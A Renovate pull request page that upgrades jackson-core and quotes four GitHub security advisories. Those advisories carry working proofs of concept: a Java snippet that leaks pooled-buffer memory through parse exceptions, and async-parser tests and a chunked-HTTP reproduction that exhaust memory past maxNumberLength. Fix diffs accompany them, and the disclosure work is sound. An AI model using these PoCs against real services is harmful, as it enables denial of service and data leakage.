Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY] by renovate[bot] · Pull Request #32 · appuio/ose3-java-logging

renovate · 2025-06-07T04:14:37Z

This PR contains the following updates:

Package	Change	Age	Confidence
com.fasterxml.jackson.core:jackson-core	`2.11.1` → `2.18.8`

Jackson-core Vulnerable to Memory Disclosure via Source Snippet in JsonLocation

CVE-2025-49128 / GHSA-wf8f-6423-gfxg

More information

Details

Overview

A flaw in Jackson-core's JsonLocation._appendSourceDesc method allows up to 500 bytes of unintended memory content to be included in exception messages. When parsing JSON from a byte array with an offset and length, the exception message incorrectly reads from the beginning of the array instead of the logical payload start. This results in possible information disclosure in systems using pooled or reused buffers, like Netty or Vert.x.

Details

The vulnerability affects the creation of exception messages like:

JsonParseException: Unexpected character ... at [Source: (byte[])...]

When JsonFactory.createParser(byte[] data, int offset, int len) is used, and an error occurs while parsing, the exception message should include a snippet from the specified logical payload. However, the method _appendSourceDesc ignores the offset, and always starts reading from index 0.

If the buffer contains residual sensitive data from a previous request, such as credentials or document contents, that data may be exposed if the exception is propagated to the client.

The issue particularly impacts server applications using:

Pooled byte buffers (e.g., Netty)
Frameworks that surface parse errors in HTTP responses
Default Jackson settings (i.e., INCLUDE_SOURCE_IN_LOCATION is enabled)

A documented real-world example is CVE-2021-22145 in Elasticsearch, which stemmed from the same root cause.

Attack Scenario

An attacker sends malformed JSON to a service using Jackson and pooled byte buffers (e.g., Netty-based HTTP servers). If the server reuses a buffer and includes the parser’s exception in its HTTP 400 response, the attacker may receive residual data from previous requests.

Proof of Concept

byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Patches

This issue was silently fixed in jackson-core version 2.13.0, released on September 30, 2021, via PR #652.

All users should upgrade to version 2.13.0 or later.

Workarounds

If upgrading is not immediately possible, applications can mitigate the issue by:

Disabling exception message exposure to clients — avoid returning parsing exception messages in HTTP responses.
Disabling source inclusion in exceptions by setting:
```
jsonFactory.disable(JsonFactory.Feature.INCLUDE_SOURCE_IN_LOCATION);
```
This prevents Jackson from embedding any source content in exception messages, avoiding leakage.

References

Severity

CVSS Score: 4.0 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-core can throw a StackoverflowError when processing deeply nested data

CVE-2025-52999 / GHSA-h46c-h94j-95f3

More information

Details

Impact

With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large.

Patches

jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.

Workarounds

Users should avoid parsing input files from untrusted sources.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

GHSA-72hv-8253-57qq

More information

Details

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @&#8203;Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @&#8203;Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

GHSA-r7wm-3cxj-wff9

More information

Details

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

com.fasterxml.jackson.core:jackson-core 2.18.6
com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — `_finishNumberIntegralPart` lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
JVM: OpenJDK 17.0.18
Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build	Chunks accepted before exception	Digits buffered	Time to detection
jackson-core 2.18.7	250 (full payload)	50,000 (50x the configured limit)	6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch)	5	1,001	155ms — moment threshold crossed

Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot ([email protected]). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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…[SECURITY]

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch from 6c67236 to 8c57f0f Compare June 27, 2025 20:53

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-core to v2.13.0 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-core to v2.15.0 [SECURITY] Jun 27, 2025

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renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] - autoclosed~~ Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Apr 27, 2026

renovate Bot reopened this Apr 27, 2026

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch 2 times, most recently from 8ca683f to 8c7cb9d Compare April 27, 2026 20:12

Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 …

451e477

…[SECURITY]

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch from 8c7cb9d to 451e477 Compare July 24, 2026 13:00

renovate Bot changed the title ~~Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY]~~ Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY] Jul 24, 2026

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Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY]#32

Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY]#32
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renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability

renovate Bot commented Jun 7, 2025 •

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renovate Bot commented Jun 7, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Jackson-core Vulnerable to Memory Disclosure via Source Snippet in JsonLocation

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jackson-core can throw a StackoverflowError when processing deeply nested data

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jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

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PoC

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jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

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Affected versions

Affected code

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

Site 2 — _finishNumberIntegralPart lines 1691-1727:

Compare with the fraction path that is correct

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End-to-end reproduction through real HTTP

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renovate Bot commented Jun 7, 2025 •

edited

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Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:

Site 2 — `_finishNumberIntegralPart` lines 1691-1727: